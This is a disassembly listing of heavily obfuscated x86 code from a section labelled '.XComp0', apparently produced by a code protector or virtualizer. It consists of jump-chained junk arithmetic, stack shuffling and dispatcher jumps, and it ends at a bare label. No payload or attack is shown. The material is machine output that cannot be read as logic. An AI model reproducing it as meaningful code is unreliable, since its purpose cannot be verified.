loc_577438:				; CODE XREF: .XComp0:00573CF2j
		pop	eax
		push	14C9h
		jmp	loc_577936
; ---------------------------------------------------------------------------


loc_577443:				; CODE XREF: .XComp0:005736A1j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_575A82
; ---------------------------------------------------------------------------


loc_57744E:				; CODE XREF: .XComp0:0057A4B1j
		or	esi, ebx
		pop	ebx
		xor	esi, 5BED999Fh
		push	edx
		jmp	loc_581911
; ---------------------------------------------------------------------------


loc_57745D:				; CODE XREF: .XComp0:0057BC80j
		push	edi
		jmp	loc_580CF6
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3B83h
		jmp	loc_58371E
; ---------------------------------------------------------------------------


loc_577471:				; CODE XREF: .XComp0:00574B72j
		mov	eax, [esp]
		add	esp, 4
		or	[edi+1Ch], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_57E7F8
; ---------------------------------------------------------------------------


loc_577485:				; CODE XREF: .XComp0:0058243Aj
		pop	esp
		btc	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577491:				; CODE XREF: .XComp0:00581F83j
		xor	edi, ecx
		pop	ecx
		jmp	loc_57DF62
; ---------------------------------------------------------------------------


loc_577499:				; CODE XREF: .XComp0:0057D0DBj
		sub	dword ptr [esp+4], 0B741396h
		push	dword ptr [esp]
		pop	esi
		push	5DFAh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	eax
		mov	eax, 4
		add	esi, eax
		pop	eax
		push	esi
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		pop	esp
		pop	ecx
		add	ecx, 1586D02h
		push	ebx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_57ECB1
; ---------------------------------------------------------------------------


loc_5774E7:				; CODE XREF: .XComp0:0057375Bj
		mov	ch, 34h
		jmp	loc_575CE9
; ---------------------------------------------------------------------------


loc_5774EE:				; CODE XREF: .XComp0:00577DEBj
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_5835BC
; ---------------------------------------------------------------------------


loc_5774F9:				; CODE XREF: .XComp0:005817C8j
		pop	cx
		jmp	loc_57E7E4
; ---------------------------------------------------------------------------


loc_577500:				; CODE XREF: .XComp0:00573B27j
		pop	ebx
		shl	ebx, 3
		jmp	loc_5790C6
; ---------------------------------------------------------------------------


loc_577509:				; CODE XREF: .XComp0:0057FE65j
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 551E68F3h
		add	edx, 136F1071h
		jmp	loc_57AE3D
; ---------------------------------------------------------------------------


loc_577526:				; CODE XREF: .XComp0:0058254Ej
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_57752B:				; CODE XREF: .XComp0:0057C1B0j
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		movzx	ecx, al
		push	36E9h
		jmp	loc_57CD68
; ---------------------------------------------------------------------------


loc_577541:				; CODE XREF: .XComp0:00578F41j
		mov	al, 0A0h
		and	bh, al
		mov	ax, [esp]
		add	esp, 2
		sub	bh, 8Ah
		shl	bh, 5
		inc	bh
		push	eax
		mov	ah, 34h
		push	ecx
		push	ebx
		mov	bh, 0C8h
		mov	cl, 22h
		add	cl, bh
		mov	ebx, [esp]
		add	esp, 4
		or	cl, 0E6h
		shr	cl, 4
		jmp	loc_5836F6
; ---------------------------------------------------------------------------


loc_577573:				; CODE XREF: .XComp0:00582CA6j
		xchg	esi, [esp]
		pop	esp
		jmp	loc_578F24
; ---------------------------------------------------------------------------


loc_57757C:				; CODE XREF: .XComp0:00575A1Aj
		sub	ebx, 2D0B74EAh
		and	ebx, 1B123AA9h
		and	ebx, 2895496h
		dec	ebx
		jmp	loc_57A340
; ---------------------------------------------------------------------------


loc_577594:				; CODE XREF: .XComp0:0057DE22j
		pop	ebx
		sub	ebp, 2B284A1Fh
		jmp	loc_57DC91
; ---------------------------------------------------------------------------


loc_5775A0:				; CODE XREF: .XComp0:00574C61j
		push	esi
		mov	esi, 1
		jmp	loc_578747
; ---------------------------------------------------------------------------
		push	dword ptr [edi+2Ch]
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_5775B3:				; CODE XREF: .XComp0:0057C89Dj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_582FD3
; ---------------------------------------------------------------------------


loc_5775BF:				; CODE XREF: .XComp0:00575FE1j
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_57715D
; ---------------------------------------------------------------------------


loc_5775CB:				; CODE XREF: .XComp0:0057476Ej
		and	ebx, 0C1A3427h
		push	esi
		push	eax
		mov	eax, 76BE13A2h
		jmp	loc_581F65
; ---------------------------------------------------------------------------


loc_5775DD:				; CODE XREF: .XComp0:005773E5j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_5791C5
; ---------------------------------------------------------------------------


loc_5775F4:				; CODE XREF: .XComp0:0057723Ej
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		push	eax
		mov	eax, 481A2675h
		or	eax, 407A5D65h
		xor	eax, 50C028D5h
		jmp	loc_57440E
; ---------------------------------------------------------------------------


loc_57761D:				; CODE XREF: .XComp0:00576D08j
		pop	eax
		push	edi
		mov	edi, 1E6A3AE1h
		and	edi, 76313973h
		push	esi
		jmp	loc_5780A5
; ---------------------------------------------------------------------------


loc_577630:				; CODE XREF: .XComp0:00578046j
		mov	[esp], eax
		push	ebx
		mov	ebx, 78DE2A0Ch
		mov	eax, ebx
		pop	ebx
		shl	eax, 5
		push	edi
		jmp	loc_57FC61
; ---------------------------------------------------------------------------


loc_577645:				; CODE XREF: .XComp0:00581536j
		xor	eax, ebx
		xor	ebx, eax
		jmp	loc_577AA3
; ---------------------------------------------------------------------------


loc_57764E:				; CODE XREF: .XComp0:00579D55j
		pop	esi
		push	eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 3Ch
		jmp	loc_57F85F
; ---------------------------------------------------------------------------


loc_57766D:				; CODE XREF: .XComp0:00578549j
		mov	dh, 0B7h
		push	ecx
		mov	ch, dh
		mov	al, ch
		pop	ecx
		pop	edx
		add	bl, al
		pop	eax
		push	eax
		mov	al, 0B6h
		jmp	loc_57DC21
; ---------------------------------------------------------------------------


loc_577681:				; CODE XREF: .XComp0:00579858j
		push	esp
		pop	ecx
		jmp	loc_57CB00
; ---------------------------------------------------------------------------


loc_577688:				; CODE XREF: .XComp0:00574C2Ej
		mov	ebx, 4C934E08h
		push	ebp
		mov	ebp, 8DE6E2Bh
		or	ebp, 39632644h
		or	ebp, 10B44A07h
		dec	ebp
		shr	ebp, 7
		dec	ebp
		add	ebp, 2E200D75h
		add	ebx, ebp
		pop	ebp
		not	ebx
		neg	ebx
		add	ebx, 7D540CA6h
		push	esi
		mov	esi, 7B446245h
		add	ebx, esi
		jmp	loc_57BE8D
; ---------------------------------------------------------------------------


loc_5776C4:				; CODE XREF: .XComp0:00575D05j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57AE07
; ---------------------------------------------------------------------------


loc_5776D2:				; CODE XREF: .XComp0:0058170Fj
		shr	edx, 7
		and	edx, 4A2466B2h
		inc	edx
		sub	edx, 0F9160434h
		sub	esi, edx
		jmp	loc_5771BA
; ---------------------------------------------------------------------------


loc_5776E9:				; CODE XREF: .XComp0:005757B4j
		add	esi, 807EABE4h
		sub	ecx, esi
		pop	esi
		mov	edi, ecx
		pop	ecx
		add	ebx, 4A77031Bh
		jmp	loc_5794EB
; ---------------------------------------------------------------------------


loc_577700:				; CODE XREF: .XComp0:0057A8BBj
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 2
		xchg	esi, [esp]
		jmp	loc_581CBF
; ---------------------------------------------------------------------------


loc_577722:				; CODE XREF: .XComp0:00574004j
		push	edi
		mov	edi, 0C876E90h
		shr	edi, 5
		jmp	loc_57D754
; ---------------------------------------------------------------------------


loc_577730:				; CODE XREF: .XComp0:0057DA41j
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_57A056
; ---------------------------------------------------------------------------


loc_57773A:				; CODE XREF: .XComp0:005820A6j
		pop	dword ptr [edx+30h]
		push	ecx
		mov	ecx, 31485AB6h
		jmp	loc_57CF8B
; ---------------------------------------------------------------------------


loc_577748:				; CODE XREF: .XComp0:005801AFj
		push	edx
		mov	edx, 75AC7B6Fh
		not	edx
		sub	edx, 273F1EE7h
		jmp	loc_57E537
; ---------------------------------------------------------------------------


loc_57775B:				; CODE XREF: .XComp0:0057EBCDj
		push	edx
		jmp	loc_583306
; ---------------------------------------------------------------------------


loc_577761:				; CODE XREF: .XComp0:0057C745j
		inc	esi
		xor	esi, 0E976B0CFh
		sub	ecx, esi
		jmp	loc_5815AC
; ---------------------------------------------------------------------------


loc_57776F:				; CODE XREF: .XComp0:00583734j
		sub	[edi+24h], ebp
		push	dword ptr [esp]
		pop	ebp
		push	7B27h
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		push	ebx
		jmp	loc_58134A
; ---------------------------------------------------------------------------


loc_577787:				; CODE XREF: .XComp0:00574502j
		not	ebx
		jmp	loc_575E73
; ---------------------------------------------------------------------------


loc_57778E:				; CODE XREF: .XComp0:00576ABAj
		shr	ecx, 7
		sub	ecx, 4C556804h
		sub	ecx, 56B502DEh
		jmp	loc_57F954
; ---------------------------------------------------------------------------


loc_5777A2:				; CODE XREF: .XComp0:0057A6BEj
		pop	ebx
		add	ebx, ebp
		jmp	loc_57C797
; ---------------------------------------------------------------------------


loc_5777AA:				; CODE XREF: .XComp0:00573F9Aj
		or	esi, 681827CDh
		xchg	ecx, esi
		sub	ecx, 1
		xor	esi, ecx
		xor	ecx, esi
		xor	esi, ecx
		jmp	loc_57B0C6
; ---------------------------------------------------------------------------


loc_5777C3:				; CODE XREF: .XComp0:00575A7Dj
		inc	ebx
		sub	ebx, 3C2375F8h
		sub	ebx, 0EC50D5Ah
		mov	ecx, ebx
		pop	ebx
		add	ecx, edx
		pop	edx
		and	ecx, 44F36636h
		add	ecx, 7FF353CFh
		shl	ecx, 8
		shr	ecx, 7
		dec	ecx
		jmp	loc_575676
; ---------------------------------------------------------------------------


loc_5777EE:				; CODE XREF: .XComp0:00579B41j
		pop	ebx
		jmp	loc_580DD8
; ---------------------------------------------------------------------------


loc_5777F4:				; CODE XREF: .XComp0:0057E370j
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_57AFCD
; ---------------------------------------------------------------------------


loc_577804:				; CODE XREF: .XComp0:005828EAj
		pop	edx
		xor	edi, 138950C5h
		jmp	loc_577B9F
; ---------------------------------------------------------------------------


loc_577810:				; CODE XREF: .XComp0:0057BAFEj
		push	ebp
		mov	ebp, 6E542A3Ah
		xor	ebp, 3A5C69D0h
		add	ecx, ebp
		jmp	loc_574C49
; ---------------------------------------------------------------------------


loc_577823:				; CODE XREF: .XComp0:00581605j
		push	esi
		push	74B41C7Ah
		pop	esi
		jmp	loc_57FC19
; ---------------------------------------------------------------------------


loc_57782F:				; CODE XREF: .XComp0:0057E7CAj
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		mov	esp, [esp]
		add	dword ptr [esp+4], 52210A3Bh
		add	[esp+4], edi
		jmp	loc_57BBD2
; ---------------------------------------------------------------------------


loc_577849:				; CODE XREF: .XComp0:0057DE59j
		push	2EF1h
		mov	[esp], ebx
		pop	ebp
		mov	ebx, [esp]
		add	esp, 4
		add	ebp, 5C006257h
		add	eax, 7B3C326Ah
		add	eax, ebp
		sub	eax, 7B3C326Ah
		push	dword ptr [esp]
		jmp	loc_582D2A
; ---------------------------------------------------------------------------


loc_577875:				; CODE XREF: .XComp0:0057B192j
		add	ecx, 2BAA09E3h
		jmp	loc_574277
; ---------------------------------------------------------------------------


loc_577880:				; CODE XREF: .XComp0:0057D5CDj
		push	eax
		mov	al, cl
		mov	dh, al
		pop	eax
		pop	ecx
		pop	ebx
		jmp	loc_574949
; ---------------------------------------------------------------------------


loc_57788D:				; CODE XREF: .XComp0:005788E3j
		xor	edi, 0B41AD3C8h
		and	eax, edi
		jmp	loc_578847
; ---------------------------------------------------------------------------


loc_57789A:				; CODE XREF: .XComp0:0057A611j
		pop	edx
		add	al, 3Eh
		sub	al, 0E7h
		sub	al, ch
		add	al, 0E7h
		sub	al, 3Eh
		push	dword ptr [esp]
		jmp	loc_5787B3
; ---------------------------------------------------------------------------


loc_5778AD:				; CODE XREF: .XComp0:00580A33j
		and	edx, 44DE551Ah
		shr	edx, 7
		inc	edx
		jmp	loc_575918
; ---------------------------------------------------------------------------


loc_5778BC:				; CODE XREF: .XComp0:0057BE9Aj
		xchg	ecx, ebp
		jmp	loc_581191
; ---------------------------------------------------------------------------


loc_5778C3:				; CODE XREF: .XComp0:005796E8j
		add	ebp, edi
		add	ebp, 6D6201F6h
		add	ebp, 1F4E36A4h
		pop	edi
		xchg	ebp, [esp]
		jmp	loc_5809BA
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		jmp	loc_57EF83
; ---------------------------------------------------------------------------


loc_5778E2:				; CODE XREF: .XComp0:00573727j
		dec	edi
		xor	edi, 4849EDE3h
		jmp	loc_581A69
; ---------------------------------------------------------------------------


loc_5778EE:				; CODE XREF: .XComp0:0057B057j
		inc	ebx
		or	ebx, 739B379Dh
		sub	ebx, 5CD5BFFh
		sub	ecx, 764A0D20h
		sub	ecx, ebx
		add	ecx, 764A0D20h
		pop	ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		jmp	loc_57E39C
; ---------------------------------------------------------------------------


loc_57791B:				; CODE XREF: .XComp0:0057A5CBj
		pop	esp
		shl	edx, 4
		sub	edx, 145249FEh
		jmp	loc_57C3E8
; ---------------------------------------------------------------------------


loc_57792A:				; CODE XREF: .XComp0:0057F7ABj
		sub	edx, 4
		push	edx
		jmp	loc_576B8B
; ---------------------------------------------------------------------------


loc_577936:				; CODE XREF: .XComp0:0057743Ej
		mov	[esp], ebp
		push	7D6Eh
		mov	[esp], ecx
		sub	dword ptr [esp], 173A4699h
		pop	ebp
		add	ebp, 173A4699h
		push	42AFh
		jmp	loc_582A26
; ---------------------------------------------------------------------------


loc_577959:				; CODE XREF: .XComp0:005796C2j
		not	bh
		not	bh
		sub	bh, 1
		xor	bh, 0E7h
		jmp	loc_57D890
; ---------------------------------------------------------------------------


loc_577968:				; CODE XREF: .XComp0:00580674j
		pop	edi
		jmp	loc_57D333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A47B5


loc_57796E:				; CODE XREF: sub_5A47B5-295B8j
		sub	eax, 4
		jmp	loc_57627D
; END OF FUNCTION CHUNK	FOR sub_5A47B5
; ---------------------------------------------------------------------------


loc_577978:				; CODE XREF: .XComp0:005794E6j
		add	eax, edx
		jmp	loc_577E45
; ---------------------------------------------------------------------------


loc_57797F:				; CODE XREF: .XComp0:00582195j
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		neg	ebx
		jmp	loc_57BC60
; ---------------------------------------------------------------------------


loc_57798C:				; CODE XREF: .XComp0:00582AD5j
		xchg	esi, [esp]
		jmp	loc_576536
; ---------------------------------------------------------------------------


loc_577994:				; CODE XREF: .XComp0:00574ED8j
		push	eax
		jmp	loc_577C03
; ---------------------------------------------------------------------------


loc_57799A:				; CODE XREF: .XComp0:0057CAE5j
		mov	edx, 35595493h
		neg	edx
		sub	edx, 8A9150E0h
		mov	ecx, edx
		pop	edx
		mov	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_581FEC
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_582F78
; ---------------------------------------------------------------------------


loc_5779C2:				; CODE XREF: .XComp0:0057D2DEj
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 0FEh
		mov	ebp, edx
		mov	edx, [esp]
		add	esp, 4
		and	[edi+1Ch], ebp
		push	dword ptr [esp]
		jmp	loc_575703
; ---------------------------------------------------------------------------


loc_5779E9:				; CODE XREF: .XComp0:00576035j
		mov	dl, bl
		jmp	loc_579F91
; ---------------------------------------------------------------------------


loc_5779F0:				; CODE XREF: .XComp0:0057D145j
		pop	ebx
		sub	bl, ah
		mov	ax, [esp]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	edi
		push	esi
		mov	esi, 39A9300Eh
		push	eax
		mov	eax, 20A25CC7h
		inc	eax
		jmp	loc_574DFB
; ---------------------------------------------------------------------------


loc_577A12:				; CODE XREF: .XComp0:005801BDj
		pop	esp
		add	ecx, 2
		jmp	loc_57BEEF
; ---------------------------------------------------------------------------


loc_577A1E:				; CODE XREF: .XComp0:0057E582j
		pop	eax
		jmp	loc_58160A
; ---------------------------------------------------------------------------


loc_577A24:				; CODE XREF: .XComp0:0057D3F9j
		mov	eax, edi
		mov	ecx, eax
		pop	eax
		pop	edi
		add	ecx, eax
		pop	eax
		jmp	loc_57F3C9
; ---------------------------------------------------------------------------


loc_577A32:				; CODE XREF: .XComp0:00580BD4j
		add	edi, esi
		sub	edi, 47D148F9h
		mov	esi, [esp]
		add	esp, 4
		inc	edi
		add	edi, 0AB408C5Fh
		add	edx, edi
		jmp	loc_576DA4
; ---------------------------------------------------------------------------


loc_577A4E:				; CODE XREF: .XComp0:0057CFAAj
		shl	ebp, 6
		and	ebp, 33926D4h
		neg	ebp
		sub	ebp, 0FFE7FB3Ch
		jmp	loc_583344
; ---------------------------------------------------------------------------


loc_577A64:				; CODE XREF: .XComp0:0057F02Bj
		sub	eax, ebx
		push	edx
		mov	edx, 2B060CE3h
		jmp	loc_576C13
; ---------------------------------------------------------------------------


loc_577A71:				; CODE XREF: .XComp0:0057F033j
		push	1Ch
		pop	eax
		sub	eax, 0AD56B19h
		add	eax, edi
		add	eax, 0AD56B19h
		push	dword ptr [eax]
		mov	ecx, [esp]
		jmp	loc_58236A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	eax
		sbb	[esp], eax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577A9B:				; CODE XREF: .XComp0:00580174j
		mov	[esp], ebx
		jmp	loc_57A803
; ---------------------------------------------------------------------------


loc_577AA3:				; CODE XREF: .XComp0:00577649j
		xor	eax, ebx
		xor	eax, 5A9004ACh
		sub	eax, 7BCEA20Fh
		and	edi, eax
		jmp	loc_57AE69
; ---------------------------------------------------------------------------


loc_577AB6:				; CODE XREF: .XComp0:0057D61Cj
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_576EBF
; ---------------------------------------------------------------------------


loc_577AC4:				; CODE XREF: .XComp0:00573AD1j
		push	esi
		mov	esi, 4CD25480h
		add	ebx, esi
		pop	esi
		pop	ebp
		and	ecx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_582BB4
; ---------------------------------------------------------------------------


loc_577ADE:				; CODE XREF: .XComp0:005813D5j
		shl	esi, 8
		jmp	loc_583010
; ---------------------------------------------------------------------------


loc_577AE6:				; CODE XREF: .XComp0:005758B0j
		push	edi
		push	2915h
		mov	[esp], ebx
		mov	ebx, 45A30FC4h
		or	ebx, 405B4D48h
		inc	ebx
		add	ebx, 5F2E321Bh
		and	ebx, 4B685E23h
		jmp	loc_5772CC
; ---------------------------------------------------------------------------


loc_577B0C:				; CODE XREF: .XComp0:00578D10j
		pop	esp
		btr	[esp], ax
		pushf
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577B18:				; CODE XREF: .XComp0:00574F5Aj
		jmp	loc_573541
; ---------------------------------------------------------------------------


loc_577B1D:				; CODE XREF: .XComp0:0057F793j
		pop	ecx
		push	eax
		mov	eax, 2
		add	esi, 52985429h
		add	esi, eax
		sub	esi, 52985429h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_57BE39
; ---------------------------------------------------------------------------
		dd 50242489h, 4BD55h, 0E8890000h, 0AB4EE9h
		db 0
; ---------------------------------------------------------------------------


loc_577B51:				; CODE XREF: .XComp0:00579B32j
		xor	esi, 430644F5h
		mov	eax, esi
		pop	esi
		and	eax, 5AAB6FA7h
		add	eax, 19F61507h
		jmp	loc_57A5D0
; ---------------------------------------------------------------------------


loc_577B69:				; CODE XREF: .XComp0:0057E850j
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		push	edx
		push	ecx
		jmp	loc_580578
; ---------------------------------------------------------------------------


loc_577B84:				; CODE XREF: .XComp0:0057CA96j
		sub	bl, 75h
		not	bl
		jmp	loc_57B34B
; ---------------------------------------------------------------------------


loc_577B8E:				; CODE XREF: .XComp0:0057ED82j
		sub	eax, 3B810574h
		xor	eax, 1141FDC0h
		add	edi, eax
		jmp	loc_57C846
; ---------------------------------------------------------------------------


loc_577B9F:				; CODE XREF: .XComp0:0057780Bj
		sub	edi, 6E742F96h
		add	ecx, edi
		jmp	loc_58208E
; ---------------------------------------------------------------------------


loc_577BAC:				; CODE XREF: .XComp0:005737A6j
		push	7327h
		mov	[esp], esp
		push	16C9h
		jmp	loc_57A2FE
; ---------------------------------------------------------------------------


loc_577BBE:				; CODE XREF: .XComp0:0057A6DCj
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		shr	dl, 4
		push	bx
		mov	bh, dl
		jmp	loc_576608
; ---------------------------------------------------------------------------


loc_577BD1:				; CODE XREF: .XComp0:0057C675j
		and	edx, 522E43AEh
		xor	edx, 5DB84051h
		or	edi, edx
		pop	edx
		jmp	loc_5813DA
; ---------------------------------------------------------------------------


loc_577BE5:				; CODE XREF: .XComp0:00581DD5j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2FCA57C8h
		sub	edi, 6D57064Bh
		sub	edi, 17FD4FE8h
		not	edi
		jmp	loc_579D2E
; ---------------------------------------------------------------------------


loc_577C03:				; CODE XREF: .XComp0:00577995j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_580CAE
; ---------------------------------------------------------------------------


loc_577C17:				; CODE XREF: .XComp0:00579281j
		sub	ebx, edx
		pop	edx
		sub	ebx, 235A36E0h
		pop	ecx
		xor	ebx, 4349222Eh
		mov	edx, ebx
		pop	ebx
		and	eax, edx
		pop	edx
		push	dword ptr [edi+1Ch]
		jmp	loc_57B41D
; ---------------------------------------------------------------------------


loc_577C35:				; CODE XREF: .XComp0:00575FF0j
		push	edx
		mov	dl, 3Fh
		mov	bl, dl
		pop	edx
		add	al, 47h
		sub	al, bl
		jmp	loc_57E55A
; ---------------------------------------------------------------------------


loc_577C44:				; CODE XREF: .XComp0:0057DB92j
		mov	ah, bl
		pop	ebx
		add	ah, bh
		pop	ebx
		not	ah
		add	ah, 3Dh
		jmp	loc_57413F
; ---------------------------------------------------------------------------


loc_577C54:				; CODE XREF: .XComp0:00575BACj
		add	al, 55h
		add	al, bl
		sub	al, 55h
		pop	ebx
		push	ebx
		jmp	loc_57D4BD
; ---------------------------------------------------------------------------


loc_577C61:				; CODE XREF: .XComp0:005798DBj
		sub	edi, 6C9C7857h
		push	dword ptr [esp]
		mov	ebp, [esp]
		sub	esp, 4
		mov	[esp], eax
		mov	eax, esp
		jmp	loc_5771C4
; ---------------------------------------------------------------------------


loc_577C7D:				; CODE XREF: .XComp0:00579122j
		mov	ebp, 355E2B51h
		xor	ebp, 6A347BDDh
		inc	ebp
		not	ebp
		jmp	loc_573FEF
; ---------------------------------------------------------------------------


loc_577C90:				; CODE XREF: .XComp0:00580AA6j
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		mov	dh, bl
		mov	cl, dh
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		add	dl, cl
		pop	cx
		jmp	loc_57FC4C
; ---------------------------------------------------------------------------


loc_577CB7:				; CODE XREF: .XComp0:0057F769j
		mov	[esp], ebp
		push	3FC5h
		mov	[esp], esp
		jmp	loc_57DF59
; ---------------------------------------------------------------------------


loc_577CC7:				; CODE XREF: .XComp0:0057EE1Ej
		xor	esi, 237344F3h
		push	edi
		jmp	loc_57F17F
; ---------------------------------------------------------------------------


loc_577CD3:				; CODE XREF: .XComp0:00573D77j
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_5771ED
; ---------------------------------------------------------------------------


loc_577CDF:				; CODE XREF: .XComp0:00575F0Bj
		mov	ch, 9Fh
		sub	ah, ch
		pop	cx
		neg	ah
		sub	ah, 0FFh
		jmp	loc_579A0A
; ---------------------------------------------------------------------------


loc_577CEF:				; CODE XREF: .XComp0:0058039Fj
		dec	edi
		push	ebx
		push	198E701Ch
		pop	ebx
		shl	ebx, 5
		jmp	loc_57ABA1
; ---------------------------------------------------------------------------


loc_577CFF:				; CODE XREF: .XComp0:00574BF4j
		and	edi, 4B5A79F2h
		neg	edi
		xor	edi, 34A609CEh
		jmp	loc_57E18F
; ---------------------------------------------------------------------------


loc_577D12:				; CODE XREF: .XComp0:00575129j
		sub	dl, 0ADh
		mov	al, dl
		pop	edx
		jmp	loc_580740
; ---------------------------------------------------------------------------


loc_577D1D:				; CODE XREF: .XComp0:0057CFFFj
		not	esi
		jmp	loc_57B58D
; ---------------------------------------------------------------------------


loc_577D24:				; CODE XREF: .XComp0:0057FFBAj
		push	esi
		mov	esi, 4
		push	esi
		xor	dword ptr [esp], 28EB057Ch
		jmp	loc_581208
; ---------------------------------------------------------------------------


loc_577D37:				; CODE XREF: .XComp0:005788BCj
		xor	ebx, ebp
		pop	ebp
		jmp	loc_57C1CE
; ---------------------------------------------------------------------------


loc_577D3F:				; CODE XREF: .XComp0:00575CF0j
		or	ch, al
		pop	ax
		push	66DCh
		mov	[esp], ebx
		mov	bl, 0E4h
		or	ch, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		xor	ch, 83h
		jmp	loc_57BE19
; ---------------------------------------------------------------------------


loc_577D61:				; CODE XREF: .XComp0:00581560j
		mov	ebx, 4
		jmp	loc_574421
; ---------------------------------------------------------------------------


loc_577D6B:				; CODE XREF: .XComp0:0057A10Bj
		xor	eax, ecx
		push	ecx
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		jmp	loc_57CD55
; ---------------------------------------------------------------------------


loc_577D99:				; CODE XREF: .XComp0:0057411Ej
		sub	eax, 5F302F5Fh
		add	eax, 6D8B2E7Dh
		sub	eax, 1178408Ch
		sub	eax, ebx
		add	eax, 1178408Ch
		sub	eax, 6D8B2E7Dh
		push	2ACCh
		mov	[esp], edx
		mov	edx, 5F6C0709h
		push	ebp
		push	ecx
		mov	ecx, 3718059Dh
		jmp	loc_57DC89
; ---------------------------------------------------------------------------


loc_577DCD:				; CODE XREF: .XComp0:00573AEDj
		mov	[esp], edi
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		push	3D34566Eh
		jmp	loc_574975
; ---------------------------------------------------------------------------


loc_577DE1:				; CODE XREF: .XComp0:0057A74Fj
		pop	esp
		jmp	loc_579A28
; ---------------------------------------------------------------------------


loc_577DE7:				; CODE XREF: .XComp0:00582852j
		and	ecx, edx
		pop	edx
		inc	ecx
		jmp	loc_5774EE
; ---------------------------------------------------------------------------


loc_577DF0:				; CODE XREF: .XComp0:0057BFD7j
		add	edi, 589A6755h
		add	edi, ebx
		jmp	loc_57742C
; ---------------------------------------------------------------------------


loc_577DFD:				; CODE XREF: .XComp0:005760B5j
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		push	edx
		jmp	loc_5823B9
; ---------------------------------------------------------------------------


loc_577E09:				; CODE XREF: .XComp0:005770FBj
		dec	ebp
		inc	ebp
		sub	ebp, 86338C2Ch
		jmp	loc_573A9A
; ---------------------------------------------------------------------------


loc_577E16:				; CODE XREF: .XComp0:0057FC14j
		sub	ebx, 8DBB1415h
		add	edi, ebx
		pop	ebx
		jmp	loc_57D9BE
; ---------------------------------------------------------------------------


loc_577E24:				; CODE XREF: .XComp0:005831E1j
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	ecx
		mov	ecx, 6E573BFBh
		dec	ecx
		shl	ecx, 7
		inc	ecx
		jmp	loc_57CF66
; ---------------------------------------------------------------------------


loc_577E45:				; CODE XREF: .XComp0:0057797Aj
		add	eax, 71C50E56h
		pop	edx
		jmp	loc_579F49
; ---------------------------------------------------------------------------


loc_577E50:				; CODE XREF: .XComp0:0057456Ej
		push	eax
		mov	eax, 626F69B1h
		push	edx
		mov	edx, 6E2155Bh
		not	edx
		add	edx, 75375063h
		xor	edx, 378448E2h
		sub	eax, edx
		pop	edx
		sub	edi, eax
		pop	eax
		jmp	loc_57C343
; ---------------------------------------------------------------------------


loc_577E75:				; CODE XREF: .XComp0:00582D05j
		and	eax, edx
		pop	edx
		or	edx, eax
		jmp	loc_57EA53
; ---------------------------------------------------------------------------


loc_577E7F:				; CODE XREF: .XComp0:00581D88j
		and	esi, 516D62F7h
		dec	esi
		jmp	loc_57FA99
; ---------------------------------------------------------------------------


loc_577E8B:				; CODE XREF: .XComp0:005767D0j
